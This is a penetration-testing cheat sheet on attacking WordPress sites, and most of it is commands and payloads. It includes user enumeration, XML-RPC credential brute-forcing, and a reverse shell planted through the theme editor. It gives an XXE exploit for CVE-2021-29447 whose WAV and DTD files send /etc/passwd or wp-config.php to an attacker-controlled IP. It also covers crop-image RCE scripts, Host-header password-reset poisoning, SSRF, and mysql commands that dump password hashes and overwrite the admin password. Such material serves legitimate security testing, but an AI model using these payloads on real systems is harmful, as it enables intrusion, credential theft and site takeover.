Wordpress

Theory

WordPress is a popular content management system.

Practice

Tools

Wpscan is a WordPress security scanner which can enumerate version, themes, plugins and brute-force credentials.

#Enumerate plugins,themes,Timthumbs,config backups,DB exports,users,media and search for vulnerabilities using a free API token (up 50 searchs)
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.vuln.com [--plugins-detection aggressive] [--detection-mode aggressive] [--api-token <API_TOKEN>]

#Specify username and brute-force (it use XML-RPC if available)
#--password-attack xml-rpc will use XML-RPC to brute-force
wpscan --rua --url http://www.vuln.com -U username --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt [--password-attack xml-rpc]

Enumerate Wordpress Version

There is the meta tag for WordPress in the head tag of the HTML source code.

<meta name="generator" content="WordPress x.x.x" />

We can use following commands and enumerate wordpress version

curl https://victim.com/ | grep 'content="WordPress'

Enumerate Users

ID Brute

You get valid users from a WordPress site by Brute Forcing users IDs:

curl -s -I -X GET http://blog.example.com/?author=1

wp-json

You can also try to get information about the users by querying:

curl http://blog.example.com/wp-json/wp/v2/users

Only information about the users that has this feature enable will be provided.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

Login username enumeration

When login in /wp-login.php the message is different if the indicated username exists or not.

Brute-force Passwords

You may want to try the default password: admin:password

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

Check

To check whether you have access, send the following request. If it returns methods, it is enabled:

POST /xmlrpc.php HTTP/1.1
Host: vulnerable.com
[...]

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>

Also, we can use PostBin to confirm the results.

POST /xmlrpc.php HTTP/1.1
Host: vulnerable.com
[...]

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>https://www.toptal.com/developers/postbin/xxxxxxxxxxxxx-xxxxxxxxxxxxx</string></value></param>
<param><value><string>http://vulnerable.com</string></value></param>
</params>
</methodCall>

Brute-force

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

POST /xmlrpc.php HTTP/1.1
Host: vulnerable.com
[...]

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params>
<param><value>{username}</value></param>
<param><value>{password}</value></param>
</params> 
</methodCall>

Reverse Shell

If we have access to a privileged Wordpress account. We can try to execute PHP code from the admin dashboard to get a reverse shell.

It may be possible to edit PHP from the theme used. For this;

  • Access to dashboard (/wp-admin/).

  • Move to "Appearance" and select theme e.g. "Twenty Seventeen".

  • Click "Theme Editor" or "Editor" in the "Appearance" section.

  • In the theme editor, click "404 Template (404.php)" on the right.

  • Copy and paste the Unix Reverse Shell or the Windows one.

  • Access "https://vulnerable.com/wp-content/themes/twentyseventeen/404.php". We should get the target shell in the netcat listener.

Vulnerabilities

Unauthenticated View Private/Draft Posts - CVE-2019-17671

This vulnerability could allow an unauthenticated user to view private or draft posts due to an issue within WP_Query.

Versions of WordPress <= 5.2.3 are vulnerable

#Just append ?static=1 to the url
http://wordpress.local/?static=1
http://wordpress.local/?static=1&order=asc

Authenticated XXE (CVE-2021-29447)

If you have user credential and you have Author's permissions, you may exploit this XEE that lead to an arbitrary file disclosure.

Versions of WordPress 5.6-5.7 are vulnerable

First off, create "exploit.wav". (change your ip)

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<ATTACKING_IP>:9001/exploit.dtd'"'"'>%remote;%init;%trick;] >\x00'> exploit.wav

Next create "exploit.dtd". (change the resource var to the wanted file)

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!-- <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php"> -->
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://<ATTACKING_IP>:9001/?p=%file;'>">

Then we can start the PHP server on the attacking machine

php -S 0.0.0.0:9001

Now, In target website, login as normal user and go to "Media", click "Add New". Upload the "exploit.wav". After that, open the WAV file. You should see the base64 information revealed in your console.

To decode the Base64, create “decode.php” as following.

<?php echo zlib_decode(base64_decode('<Base64_Here>')); ?>

Execute the script to decode it

php decode.php

Crop-image Shell Upload - CVE-2019-8942, CVE-2019-8943

The Crop-image Shell Upload exploit take advantage of a path traversal and a local file inclusion vulnerability on WordPress. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post.

Versions of WordPress 5.0.0 and <= 4.9.8 are vulnerable

We can use v0lck3r's exploit to perform the attack:

#Auto exploit
python3 RCE_wordpress.py <WP_URL> <USER> <PASSWORD> <THEME_NAME>

Or we may use this exploit

#Auto exploit
python3 wp_rce.py -t <WP_URL> -u <USER> -p <PASSWORD> -m <THEME_NAME>

Unauthorized Password Reset - CVE-2017-8295

If an attacker sends a request similar to the one below to a default Wordpress installation that is accessible by the IP address (IP-based vhost):

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

Wordpress will trigger the password reset function for the admin user account. Because of the modified HOST header, the SERVER_NAME will be set to the hostname of attacker's choice. As a result, Wordpress will pass the reset password email to the attacking domain.

SSRF

Try to access following url and the Worpress site may make a request to you.

/wp-json/oembed/1.0/proxy?url=http://10.0.0.1/

We can use this tool. It checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

quickpress -target https://target.com -server http://burpcollaborator.net

Post-Exploitation

The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

With database credentials we can dump username and password and change admin password e.g. with mysql:

#Extract usernames and passwords:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

#Change admin password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Resources

Last updated